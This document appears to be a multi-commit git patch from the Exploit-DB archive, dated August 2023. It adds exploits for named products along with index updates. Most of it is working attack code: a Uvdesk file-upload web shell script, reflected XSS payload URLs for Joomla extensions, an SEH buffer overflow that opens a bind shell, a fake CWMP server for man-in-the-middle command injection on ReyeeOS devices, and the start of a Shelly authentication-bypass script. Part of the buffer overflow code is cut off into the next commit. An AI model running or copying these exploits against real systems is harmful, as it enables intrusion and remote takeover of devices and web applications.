From 5eb89a2046eb3008494287259d823ef3f54f74f4 Mon Sep 17 00:00:00 2001 From: Exploit-DB Date: Tue, 1 Aug 2023 00:16:36 +0000 Subject: [PATCH 01/17] DB: 2023-08-01 5 changes to exploits/shellcodes/ghdb Joomla iProperty Real Estate 4.1.1 - Reflected XSS Joomla Solidres 2.13.3 - Reflected XSS RosarioSIS 10.8.4 - CSV Injection Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated) WordPress Plugin AN_Gradebook 5.0.1 - SQLi General Device Manager 2.5.2.2 - Buffer Overflow (SEH) --- exploits/php/webapps/51638.txt | 56 ++++++++++++++++++++++++ exploits/php/webapps/51639.py | 54 +++++++++++++++++++++++ exploits/php/webapps/51640.txt | 36 ++++++++++++++++ exploits/windows/local/51641.py | 76 +++++++++++++++++++++++++++++++++ files_exploits.csv | 8 +++- 5 files changed, 228 insertions(+), 2 deletions(-) create mode 100644 exploits/php/webapps/51638.txt create mode 100755 exploits/php/webapps/51639.py create mode 100644 exploits/php/webapps/51640.txt create mode 100755 exploits/windows/local/51641.py diff --git a/exploits/php/webapps/51638.txt b/exploits/php/webapps/51638.txt new file mode 100644 index 0000000000..685ed70357 --- /dev/null +++ b/exploits/php/webapps/51638.txt @@ -0,0 +1,56 @@ +# Exploit Title: Joomla Solidres 2.13.3 - Reflected XSS +# Exploit Author: CraCkEr +# Date: 28/07/2023 +# Vendor: Solidres Team +# Vendor Homepage: http://solidres.com/ +# Software Link: https://extensions.joomla.org/extension/vertical-markets/booking-a-reservations/solidres/ +# Demo: http://demo.solidres.com/joomla +# Version: 2.13.3 +# Tested on: Windows 10 Pro +# Impact: Manipulate the content of the site + + +## Greetings + +The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka +CryptoJob (Twitter) twitter.com/0x0CryptoJob + + +## Description + +The attacker can send to victim a link containing a malicious URL in an email or instant message +can perform a wide variety of actions, such as stealing the victim's session token or login credentials + + +GET parameter 'show' is vulnerable to XSS +GET parameter 'reviews' is vulnerable to XSS +GET parameter 'type_id' is vulnerable to XSS +GET parameter 'distance' is vulnerable to XSS +GET parameter 'facilities' is vulnerable to XSS +GET parameter 'categories' is vulnerable to XSS +GET parameter 'prices' is vulnerable to XSS +GET parameter 'location' is vulnerable to XSS +GET parameter 'Itemid' is vulnerable to XSS + + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=[XSS] + +https://website/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&reviews=[XSS]&facilities=18& + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=[XSS] + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=[XSS]&facilities=14 + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=[XSS] + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-25&distance=0-25&categories=[XSS] + +https://website/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=d2tff&ordering=distance&direction=asc&prices=[XSS] + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=[XSS]&task=hub.search&ordering=score&direction=desc&type_id=11 + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=[XSS]&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=14 + + + +[-] Done \ No newline at end of file diff --git a/exploits/php/webapps/51639.py b/exploits/php/webapps/51639.py new file mode 100755 index 0000000000..887441b126 --- /dev/null +++ b/exploits/php/webapps/51639.py @@ -0,0 +1,54 @@ +# Exploit Title: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated) +# Date: 28/07/2023 +# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security +# Vendor Homepage: https://www.uvdesk.com +# Software Link: https://github.com/uvdesk/community-skeleton +# Version: 1.1.3 +# Example: python3 CVE-2023-39147.py -u "http://$ip:8000/" -c "whoami" +# CVE : CVE-2023-39147 +# Tested on: Ubuntu 20.04.6 + + +import requests +import argparse + +def get_args(): + parser = argparse.ArgumentParser() + parser.add_argument('-u', '--url', required=True, action='store', help='Target url') + parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute') + my_args = parser.parse_args() + return my_args + +def main(): + args = get_args() + base_url = args.url + + command = args.command + uploaded_file = "shell.php" + url_cmd = base_url + "//assets/knowledgebase/shell.php?cmd=" + command + +# Edit your credentials here + login_data = { + "_username": "admin@adm.com", + "_password": "passwd", + "_remember_me": "off" + } + + files = { + "name": (None, "pwn"), + "description": (None, "xxt"), + "visibility": (None, "public"), + "solutionImage": (uploaded_file, "", "image/jpg") + } + + s = requests.session() + # Login + s.post(base_url + "/en/member/login", data=login_data) + # Upload + upload_response = s.post(base_url + "/en/member/knowledgebase/folders/new", files=files) + # Execute command + cmd = s.get(url_cmd) + print(cmd.text) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/php/webapps/51640.txt b/exploits/php/webapps/51640.txt new file mode 100644 index 0000000000..68308161c3 --- /dev/null +++ b/exploits/php/webapps/51640.txt @@ -0,0 +1,36 @@ +# Exploit Title: Joomla iProperty Real Estate 4.1.1 - Reflected XSS +# Exploit Author: CraCkEr +# Date: 29/07/2023 +# Vendor: The Thinkery LLC +# Vendor Homepage: http://thethinkery.net +# Software Link: https://extensions.joomla.org/extension/vertical-markets/real-estate/iproperty/ +# Demo: https://iproperty.thethinkery.net/ +# Version: 4.1.1 +# Tested on: Windows 10 Pro +# Impact: Manipulate the content of the site + + +## Greetings + +The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka +CryptoJob (Twitter) twitter.com/0x0CryptoJob + + +## Description + +The attacker can send to victim a link containing a malicious URL in an email or instant message +can perform a wide variety of actions, such as stealing the victim's session token or login credentials + + + +Path: /iproperty/property-views/all-properties-with-map + +GET parameter 'filter_keyword' is vulnerable to XSS + +https://website/iproperty/property-views/all-properties-with-map?filter_keyword=[XSS]&option=com_iproperty&view=allproperties&ipquicksearch=1 + + +XSS Payload: pihil"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"f63m4 + + +[-] Done \ No newline at end of file diff --git a/exploits/windows/local/51641.py b/exploits/windows/local/51641.py new file mode 100755 index 0000000000..1cc4905f1a --- /dev/null +++ b/exploits/windows/local/51641.py @@ -0,0 +1,76 @@ +# Exploit Title: General Device Manager 2.5.2.2 - Buffer Overflow (SEH) +# Date: 30.07.2023 +# Software Link: https://download.xm030.cn/d/MDAwMDA2NTQ= +# Software Link 2: +https://www.maxiguvenlik.com/uploads/importfiles/General_DeviceManager.zip +# Exploit Author: Ahmet Ümit BAYRAM +# Tested Version: 2.5.2.2 +# Tested on: Windows 10 64bit + +# 1.- Run python code : exploit.py +# 2.- Open pwned.txt and copy all content to clipboard +# 3.- Open Device Manage and press Add Device +# 4.- Paste the content of pwned.txt into the 'IP Address' +# 5.- Click 'OK' +# 6.- nc.exe local IP Port 1337 and you will have a bind shell +# 7.- R.I.P. Condor <3 + +import struct + +offset = b"A" * 1308 + +nseh = b"\xEB\x06\x90\x90" # jmp short + +seh = struct.pack(' Date: Thu, 3 Aug 2023 00:16:49 +0000 Subject: [PATCH 02/17] DB: 2023-08-03 1 changes to exploits/shellcodes/ghdb Bookwyrm v0.4.3 - Authentication Bypass Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit) Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated) WordPress Plugin Duplicator 1.4.7 - Information Disclosure Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS) --- files_exploits.csv | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/files_exploits.csv b/files_exploits.csv index a13f54703d..ee5130d6c7 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -11647,7 +11647,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 33995,exploits/multiple/webapps/33995.txt,"Blaze Apps 1.x - SQL Injection / HTML Injection",2010-01-19,"AmnPardaz Security Research Team",webapps,multiple,,2010-01-19,2014-07-07,1,,,,,,https://www.securityfocus.com/bid/40212/info 49759,exploits/multiple/webapps/49759.txt,"Blitar Tourism 1.0 - Authentication Bypass SQLi",2021-04-13,sigeri94,webapps,multiple,,2021-04-13,2021-04-13,0,,,,,, 48701,exploits/multiple/webapps/48701.txt,"Bludit 3.9.2 - Directory Traversal",2020-07-26,"James Green",webapps,multiple,,2020-07-26,2020-07-26,0,CVE-2019-16113,,,,, -51013,exploits/multiple/webapps/51013.txt,"Bookwyrm v0.4.3 - Authentication Bypass",2022-09-20,"Akshay Ravi",webapps,multiple,,2022-09-20,2022-09-20,0,CVE-2022-2651,,,,, +51013,exploits/multiple/webapps/51013.txt,"Bookwyrm v0.4.3 - Authentication Bypass",2022-09-20,"Akshay Ravi",webapps,multiple,,2022-09-20,2023-08-02,1,CVE-2022-2651,,,,, 9872,exploits/multiple/webapps/9872.txt,"boxalino 09.05.25-0421 - Directory Traversal",2009-10-20,"Axel Neumann",webapps,multiple,,2009-10-19,,1,CVE-2009-1479;OSVDB-59145,,,,, 44256,exploits/multiple/webapps/44256.html,"Bravo Tejari Web Portal - Cross-Site Request Forgery",2018-03-06,"Arvind V",webapps,multiple,,2018-03-06,2018-03-06,0,CVE-2018-7216,,,,, 48649,exploits/multiple/webapps/48649.txt,"BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation",2020-07-07,"William Summerhill",webapps,multiple,,2020-07-07,2020-07-07,0,CVE-2020-14945,,,,, @@ -11807,7 +11807,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 50181,exploits/multiple/webapps/50181.py,"GFI Mail Archiver 15.1 - Telerik UI Component Arbitrary File Upload (Unauthenticated)",2021-08-05,"Amin Bohio",webapps,multiple,,2021-08-05,2021-08-05,0,,,,,, 47407,exploits/multiple/webapps/47407.txt,"Gila CMS < 1.11.1 - Local File Inclusion",2019-09-23,"Sainadh Jamalpur",webapps,multiple,,2019-09-23,2019-09-23,0,CVE-2019-16679,,,,http://www.exploit-db.comgila-1.10.9.zip, 49571,exploits/multiple/webapps/49571.py,"Gitea 1.12.5 - Remote Code Execution (Authenticated)",2021-02-18,Podalirius,webapps,multiple,,2021-02-18,2021-06-14,0,,,,,, -51009,exploits/multiple/webapps/51009.rb,"Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit)",2022-09-15,samguy,webapps,multiple,,2022-09-15,2022-09-15,0,CVE-2022-30781,,,,, +51009,exploits/multiple/webapps/51009.rb,"Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit)",2022-09-15,samguy,webapps,multiple,,2022-09-15,2023-08-02,1,CVE-2022-30781,,,,, 44996,exploits/multiple/webapps/44996.py,"Gitea 1.4.0 - Remote Code Execution",2018-07-04,"Kacper Szurek",webapps,multiple,,2018-07-10,2018-07-10,0,,,,,,https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html 49383,exploits/multiple/webapps/49383.py,"Gitea 1.7.5 - Remote Code Execution",2021-01-06,1F98D,webapps,multiple,,2021-01-06,2021-04-01,1,CVE-2019-11229,,,,, 42392,exploits/multiple/webapps/42392.py,"GitHub Enterprise < 2.8.7 - Remote Code Execution",2017-03-15,orange,webapps,multiple,,2017-07-29,2017-07-29,0,,,,,,http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html @@ -31316,7 +31316,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 1240,exploits/php/webapps/1240.php,"Utopia News Pro 1.1.3 - 'news.php' SQL Injection",2005-10-06,rgod,webapps,php,,2005-10-05,,1,OSVDB-19942;CVE-2005-3201,,,,, 18720,exploits/php/webapps/18720.txt,"Utopia News Pro 1.4.0 - Cross-Site Request Forgery (Add Admin)",2012-04-08,Dr.NaNo,webapps,php,,2012-04-08,2012-04-08,1,OSVDB-80986;CVE-2012-4325,,,,http://www.exploit-db.comnewspro140b.zip, 13854,exploits/php/webapps/13854.txt,"UTStats - Cross-Site Scripting / SQL Injection / Full Path Disclosure",2010-06-13,"LuM Member",webapps,php,,2010-06-12,,1,CVE-2010-5009;CVE-2010-5007;OSVDB-76896;OSVDB-76894,,,,, -51639,exploits/php/webapps/51639.py,"Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated)",2023-07-31,"Daniel Barros",webapps,php,,2023-07-31,2023-07-31,0,CVE-2023-39147,,,,, +51639,exploits/php/webapps/51639.py,"Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated)",2023-07-31,"Daniel Barros",webapps,php,,2023-07-31,2023-08-02,1,CVE-2023-39147,,,,, 44223,exploits/php/webapps/44223.txt,"uWSGI < 2.0.17 - Directory Traversal",2018-03-02,"Marios Nicolaides",webapps,php,,2018-03-02,2018-03-02,1,CVE-2018-7490,,,,http://www.exploit-db.comuwsgi-2.0.15.tar.gz, 34218,exploits/php/webapps/34218.txt,"V-EVA Classified Script 5.1 - 'classified_img.php' SQL Injection",2010-06-28,Sid3^effects,webapps,php,,2010-06-28,2014-07-31,1,,,,,,https://www.securityfocus.com/bid/41204/info 27245,exploits/php/webapps/27245.txt,"V-Webmail 1.6.2 - Multiple Cross-Site Scripting Vulnerabilities",2006-02-17,$um$id,webapps,php,,2006-02-17,2013-07-31,1,CVE-2006-0792;OSVDB-23260,,,,,https://www.securityfocus.com/bid/16706/info @@ -32849,7 +32849,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 50420,exploits/php/webapps/50420.py,"Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read",2021-10-18,nam3lum,webapps,php,,2021-10-18,2021-10-18,0,CVE-2020-11738,,,,, 49288,exploits/php/webapps/49288.rb,"Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read (Metasploit)",2020-12-18,"SunCSR Team",webapps,php,,2020-12-18,2020-12-18,1,,,,,, 50992,exploits/php/webapps/50992.txt,"WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download",2022-08-01,SecuriTrust,webapps,php,,2022-08-01,2022-08-01,0,CVE-2022-2551,,,,, -50993,exploits/php/webapps/50993.txt,"WordPress Plugin Duplicator 1.4.7 - Information Disclosure",2022-08-01,SecuriTrust,webapps,php,,2022-08-01,2022-08-01,0,CVE-2022-2552,,,,, +50993,exploits/php/webapps/50993.txt,"WordPress Plugin Duplicator 1.4.7 - Information Disclosure",2022-08-01,SecuriTrust,webapps,php,,2022-08-01,2023-08-02,1,CVE-2022-2552,,,,, 37162,exploits/php/webapps/37162.txt,"WordPress Plugin Dynamic Widgets 1.5.1 - 'themes.php' Cross-Site Scripting",2012-05-15,"Heine Pedersen",webapps,php,,2012-05-15,2015-06-01,1,,"WordPress Plugin",,,,https://www.securityfocus.com/bid/53513/info 30063,exploits/php/webapps/30063.txt,"WordPress Plugin DZS Video Gallery 3.1.3 - Remote File Disclosure / Local File Disclosure",2013-12-06,"aceeeeeeeer .",webapps,php,,2013-12-06,2013-12-06,1,,"WordPress Plugin",,http://www.exploit-db.com/screenshots/idlt30500/screen-shot-2013-12-06-at-111802.png,, 39553,exploits/php/webapps/39553.txt,"WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities",2016-03-11,"Colette Chamberland",webapps,php,80,2016-03-11,2016-03-11,0,,"WordPress Plugin",,,, @@ -33696,7 +33696,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 42166,exploits/php/webapps/42166.txt,"WordPress Plugin WP-Testimonials < 3.4.1 - SQL Injection",2017-06-03,"Dimitrios Tsagkarakis",webapps,php,,2017-06-13,2017-06-13,0,CVE-2017-9418,,,,, 21393,exploits/php/webapps/21393.txt,"WordPress Plugin wp-topbar 4.02 - Multiple Vulnerabilities",2012-09-19,"Blake Entrekin",webapps,php,,2012-09-19,2012-09-19,1,OSVDB-85660;OSVDB-85659,"WordPress Plugin",,,http://www.exploit-db.comwp-topbar.4.02.zip, 50988,exploits/php/webapps/50988.txt,"WordPress Plugin WP-UserOnline 2.87.6 - Stored Cross-Site Scripting (XSS)",2022-07-29,"Steffin Stanly",webapps,php,,2022-07-29,2022-07-29,0,,,,,, -51020,exploits/php/webapps/51020.txt,"Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS)",2022-09-23,UnD3sc0n0c1d0,webapps,php,,2022-09-23,2022-09-23,0,CVE-2022-2941,,,,, +51020,exploits/php/webapps/51020.txt,"Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS)",2022-09-23,UnD3sc0n0c1d0,webapps,php,,2022-09-23,2023-08-02,1,CVE-2022-2941,,,,, 49377,exploits/php/webapps/49377.txt,"WordPress Plugin WP24 Domain Check 1.6.2 - 'fieldnameDomain' Stored Cross Site Scripting",2021-01-06,"Mehmet Kelepçe",webapps,php,,2021-01-06,2021-01-06,0,,,,,, 42805,exploits/php/webapps/42805.txt,"WordPress Plugin WPAMS - SQL Injection",2017-09-26,"Ihsan Sencan",webapps,php,,2017-09-27,2017-09-28,0,CVE-2017-14847,,,,, 42800,exploits/php/webapps/42800.txt,"WordPress Plugin WPCHURCH - SQL Injection",2017-09-26,"Ihsan Sencan",webapps,php,,2017-09-27,2017-09-28,0,CVE-2017-14845,,,,, From 010e679abe4a475089bcead41fd857d182d06af9 Mon Sep 17 00:00:00 2001 From: Exploit-DB Date: Sat, 5 Aug 2023 00:16:32 +0000 Subject: [PATCH 03/17] DB: 2023-08-05 25 changes to exploits/shellcodes/ghdb ReyeeOS 1.204.1614 - MITM Remote Code Execution (RCE) Shelly PRO 4PM v0.11.0 - Authentication Bypass Ozeki SMS Gateway 10.3.208 - Arbitrary File Read (Unauthenticated) Academy LMS 6.0 - Reflected XSS Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting Campcodes Online Matrimonial Website System v3.3 - Code Execution via malicious SVG file upload JLex GuestBook 1.6.4 - Reflected XSS Joomla JLex Review 6.0.1 - Reflected XSS News Portal v4.0 - SQL Injection (Unauthorized) PHPJabbers Cleaning Business 1.0 - Reflected XSS PHPJabbers Night Club Booking 1.0 - Reflected XSS PHPJabbers Rental Property Booking 2.0 - Reflected XSS PHPJabbers Service Booking Script 1.0 - Reflected XSS PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS PHPJabbers Taxi Booking 2.0 - Reflected XSS Webedition CMS v2.9.8.8 - Remote Code Execution (RCE) Webedition CMS v2.9.8.8 - Stored XSS Webutler v3.2 - Remote Code Execution (RCE) WordPress adivaha Travel Plugin 2.3 - Reflected XSS WordPress adivaha Travel Plugin 2.3 - SQL Injection Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution WordPress Plugin Ninja Forms 3.6.25 - Reflected XSS Xlight FTP Server 3.9.3.6 - 'Stack Buffer Overflow' (DOS) --- exploits/hardware/remote/51642.py | 176 ++++++++++++++++++++++++++++ exploits/hardware/remote/51657.txt | 68 +++++++++++ exploits/multiple/webapps/51646.txt | 19 +++ exploits/php/webapps/51643.txt | 24 ++++ exploits/php/webapps/51644.py | 158 +++++++++++++++++++++++++ exploits/php/webapps/51645.txt | 35 ++++++ exploits/php/webapps/51647.txt | 34 ++++++ exploits/php/webapps/51648.txt | 24 ++++ exploits/php/webapps/51649.txt | 30 +++++ exploits/php/webapps/51650.txt | 30 +++++ exploits/php/webapps/51651.txt | 32 +++++ exploits/php/webapps/51652.txt | 33 ++++++ exploits/php/webapps/51653.txt | 33 ++++++ exploits/php/webapps/51654.txt | 52 ++++++++ exploits/php/webapps/51655.txt | 42 +++++++ exploits/php/webapps/51656.txt | 101 ++++++++++++++++ exploits/php/webapps/51658.txt | 15 +++ exploits/php/webapps/51659.txt | 15 +++ exploits/php/webapps/51660.txt | 45 +++++++ exploits/php/webapps/51661.txt | 45 +++++++ exploits/php/webapps/51662.txt | 58 +++++++++ exploits/php/webapps/51663.txt | 35 ++++++ exploits/php/webapps/51664.txt | 100 ++++++++++++++++ exploits/windows/dos/51665.py | 29 +++++ files_exploits.csv | 26 +++- 25 files changed, 1258 insertions(+), 1 deletion(-) create mode 100755 exploits/hardware/remote/51642.py create mode 100644 exploits/hardware/remote/51657.txt create mode 100644 exploits/multiple/webapps/51646.txt create mode 100644 exploits/php/webapps/51643.txt create mode 100755 exploits/php/webapps/51644.py create mode 100644 exploits/php/webapps/51645.txt create mode 100644 exploits/php/webapps/51647.txt create mode 100644 exploits/php/webapps/51648.txt create mode 100644 exploits/php/webapps/51649.txt create mode 100644 exploits/php/webapps/51650.txt create mode 100644 exploits/php/webapps/51651.txt create mode 100644 exploits/php/webapps/51652.txt create mode 100644 exploits/php/webapps/51653.txt create mode 100644 exploits/php/webapps/51654.txt create mode 100644 exploits/php/webapps/51655.txt create mode 100644 exploits/php/webapps/51656.txt create mode 100644 exploits/php/webapps/51658.txt create mode 100644 exploits/php/webapps/51659.txt create mode 100644 exploits/php/webapps/51660.txt create mode 100644 exploits/php/webapps/51661.txt create mode 100644 exploits/php/webapps/51662.txt create mode 100644 exploits/php/webapps/51663.txt create mode 100644 exploits/php/webapps/51664.txt create mode 100755 exploits/windows/dos/51665.py diff --git a/exploits/hardware/remote/51642.py b/exploits/hardware/remote/51642.py new file mode 100755 index 0000000000..0668cacb00 --- /dev/null +++ b/exploits/hardware/remote/51642.py @@ -0,0 +1,176 @@ +# Exploit Title: ReyeeOS 1.204.1614 - MITM Remote Code Execution (RCE) +# Google Dork: None +# Date: July 31, 2023 +# Exploit Author: Riyan Firmansyah of Seclab +# Vendor Homepage: https://ruijienetworks.com +# Software Link: https://www.ruijienetworks.com/support/documents/slide_EW1200G-PRO-Firmware-B11P204 +# Version: ReyeeOS 1.204.1614; EW_3.0(1)B11P204, Release(10161400) +# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO +# CVE : None + +""" +Summary +======= +The Ruijie Reyee Cloud Web Controller allows the user to use a diagnostic tool which includes a ping check to ensure connection to the intended network, but the ip address input form is not validated properly and allows the user to perform OS command injection. +In other side, Ruijie Reyee Cloud based Device will make polling request to Ruijie Reyee CWMP server to ask if there's any command from web controller need to be executed. After analyze the network capture that come from the device, the connection for pooling request to Ruijie Reyee CWMP server is unencrypted HTTP request. +Because of unencrypted HTTP request that come from Ruijie Reyee Cloud based Device, attacker could make fake server using Man-in-The-Middle (MiTM) attack and send arbitrary commands to execute on the cloud based device that make CWMP request to fake server. +Once the attacker have gained access, they can execute arbitrary commands on the system or application, potentially compromising sensitive data, installing malware, or taking control of the system. +""" + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +from html import escape, unescape +import http.server +import socketserver +import io +import time +import re +import argparse +import gzip + +# command payload +command = "uname -a" + +# change this to serve on a different port +PORT = 8080 + +def cwmp_inform(soap): + cwmp_id = re.search(r"(?:)(.*?)(?:<\/cwmp:ID>)", soap).group(1) + product_class = re.search(r"(?:)(.*?)(?:<\/ProductClass>)", soap).group(1) + serial_number = re.search(r"(?:)(.*?)(?:<\/SerialNumber>)", soap).group(1) + result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}} + parameters = re.findall(r"(?:

)(.*?)(?:<\/P>)", soap) + for parameter in parameters: + parameter_name = re.search(r"(?:)(.*?)(?:<\/N>)", parameter).group(1) + parameter_value = re.search(r"(?:)(.*?)(?:<\/V>)", parameter).group(1) + result['parameters'][parameter_name] = parameter_value + return result + +def cwmp_inform_response(): + return """ +1611""" + +def command_payload(command): + current_time = time.time() + result = """ +ID:intrnl.unset.id.X_RUIJIE_COM_CN_ExecuteCliCommand{cur_time}1config{command}""".format(cur_time=current_time, command=command) + return result + +def command_response(soap): + cwmp_id = re.search(r"(?:)(.*?)(?:<\/cwmp:ID>)", soap).group(1) + command = re.search(r"(?:)(.*?)(?:<\/Command>)", soap).group(1) + response = re.search(r"(?:)((\n|.)*?)(?:<\/Response>)", soap).group(1) + result = {'cwmp_id': cwmp_id, 'command': command, 'response': response} + return result + +class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): + protocol_version = 'HTTP/1.1' + def do_GET(self): + self.send_response(204) + self.end_headers() + + def do_POST(self): + print("[*] Got hit by", self.client_address) + + f = io.BytesIO() + if 'service' in self.path: + stage, info = self.parse_stage() + if stage == "cwmp_inform": + self.send_response(200) + print("[!] Got Device information", self.client_address) + print("[*] Product Class:", info['product_class']) + print("[*] Serial Number:", info['serial_number']) + print("[*] MAC Address:", info['parameters']['mac']) + print("[*] STUN Client IP:", info['parameters']['stunclientip']) + payload = bytes(cwmp_inform_response(), 'utf-8') + f.write(payload) + self.send_header("Content-Length", str(f.tell())) + elif stage == "command_request": + self.send_response(200) + self.send_header("Set-Cookie", "JSESSIONID=6563DF85A6C6828915385C5CDCF4B5F5; Path=/service; HttpOnly") + print("[*] Device interacting", self.client_address) + print(info) + payload = bytes(command_payload(escape("ping -c 4 127.0.0.1 && {}".format(command))), 'utf-8') + f.write(payload) + self.send_header("Content-Length", str(f.tell())) + else: + print("[*] Command response", self.client_address) + print(unescape(info['response'])) + self.send_response(204) + f.write(b"") + else: + print("[x] Received invalid request", self.client_address) + self.send_response(204) + f.write(b"") + + f.seek(0) + self.send_header("Connection", "keep-alive") + self.send_header("Content-type", "text/xml;charset=utf-8") + self.end_headers() + if f: + self.copyfile(f, self.wfile) + f.close() + + def parse_stage(self): + content_length = int(self.headers['Content-Length']) + post_data = gzip.decompress(self.rfile.read(content_length)) + if "cwmp:Inform" in post_data.decode("utf-8"): + return ("cwmp_inform", cwmp_inform(post_data.decode("utf-8"))) + elif "cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse" in post_data.decode("utf-8"): + return ("command_response", command_response(post_data.decode("utf-8"))) + else: + return ("command_request", "Ping!") + + def log_message(self, format, *args): + return + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('--bind', '-b', default='', metavar='ADDRESS', + help='Specify alternate bind address ' + '[default: all interfaces]') + parser.add_argument('port', action='store', + default=PORT, type=int, + nargs='?', + help='Specify alternate port [default: {}]'.format(PORT)) + args = parser.parse_args() + + Handler = CustomHTTPRequestHandler + with socketserver.TCPServer((args.bind, args.port), Handler) as httpd: + ip_addr = args.bind if args.bind != '' else '0.0.0.0' + print("[!] serving fake CWMP server at {}:{}".format(ip_addr, args.port)) + try: + httpd.serve_forever() + except KeyboardInterrupt: + pass + httpd.server_close() + + +""" +Output +====== +ubuntu:~$ python3 exploit.py +[!] serving fake CWMP server at 0.0.0.0:8080 +[*] Got hit by ('[redacted]', [redacted]) +[!] Got Device information ('[redacted]', [redacted]) +[*] Product Class: EW1200G-PRO +[*] Serial Number: [redacted] +[*] MAC Address: [redacted] +[*] STUN Client IP: [redacted]:[redacted] +[*] Got hit by ('[redacted]', [redacted]) +[*] Device interacting ('[redacted]', [redacted]) +Ping! +[*] Got hit by ('[redacted]', [redacted]) +[*] Command response ('[redacted]', [redacted]) +PING 127.0.0.1 (127.0.0.1): 56 data bytes +64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.400 ms +64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.320 ms +64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.320 ms +64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.300 ms + +--- 127.0.0.1 ping statistics --- +4 packets transmitted, 4 packets received, 0% packet loss +round-trip min/avg/max = 0.300/0.335/0.400 ms +Linux Ruijie 3.10.108 #1 SMP Fri Apr 14 00:39:29 UTC 2023 mips GNU/Linux + +""" \ No newline at end of file diff --git a/exploits/hardware/remote/51657.txt b/exploits/hardware/remote/51657.txt new file mode 100644 index 0000000000..e5c64fa352 --- /dev/null +++ b/exploits/hardware/remote/51657.txt @@ -0,0 +1,68 @@ +#!/bin/bash + +# Exploit Title: Shelly PRO 4PM v0.11.0 - Authentication Bypass +# Google Dork: NA +# Date: 2nd August 2023 +# Exploit Author: The Security Team [exploitsecurity.io] +# Exploit Blog: https://www.exploitsecurity.io/post/cve-2023-33383-authentication-bypass-via-an-out-of-bounds-read-vulnerability +# Vendor Homepage: https://www.shelly.com/ +# Software Link: NA +# Version: Firmware v0.11.0 (REQUIRED) +# Tested on: MacOS/Linux +# CVE : CVE-2023-33383 + +IFS= +failed=$false +RED="\e[31m" +GREEN="\e[92m" +WHITE="\e[97m" +ENDCOLOR="\e[0m" +substring="Connection refused" + + +banner() + { + clear + echo -e "${GREEN}[+]*********************************************************[+]" + echo -e "${GREEN}| Author : Security Team [${RED}exploitsecurity.io${ENDCOLOR}] |" + echo -e "${GREEN}| Description: Shelly PRO 4PM - Out of Bounds |" + echo -e "${GREEN}| CVE: CVE-2023-33383 |" + echo -e 